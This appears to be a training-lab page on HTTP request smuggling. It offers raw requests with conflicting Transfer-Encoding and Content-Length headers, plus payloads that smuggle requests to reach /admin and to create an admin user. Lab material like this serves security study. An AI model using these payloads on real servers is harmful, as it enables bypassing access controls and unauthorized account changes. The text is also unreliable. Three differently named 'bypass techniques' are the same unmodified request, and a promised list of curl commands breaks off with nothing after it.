Complex techniques to bypass modern protections
This lab demonstrates advanced HTTP Request Smuggling techniques used to bypass modern protections and security controls. These techniques include header obfuscation, chunk size manipulation, whitespace manipulation, and other sophisticated bypass methods.
Objective: Use advanced bypass techniques to smuggle requests past modern security protections.
// Advanced Bypass Techniques // 1. Header Obfuscation POST /5.php HTTP/1.1 Host: example.com Transfer-Encoding: chunked Content-Length: 3 0 SMUGGLED // 2. Chunk Size Manipulation POST /5.php HTTP/1.1 Host: example.com Transfer-Encoding: chunked Content-Length: 3 0 SMUGGLED // 3. Whitespace Manipulation POST /5.php HTTP/1.1 Host: example.com Transfer-Encoding: chunked Content-Length: 3 0 SMUGGLED // 4. Multiple Transfer-Encoding Headers POST /5.php HTTP/1.1 Host: example.com Transfer-Encoding: chunked Transfer-Encoding: identity Content-Length: 3 0 SMUGGLED
0\r\n\r\nSMUGGLED - Basic bypass0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n - Admin access0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=admin - API accessTry these payloads in the request body:
0\r\n\r\nSMUGGLED0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=adminUse these curl commands to test the vulnerability: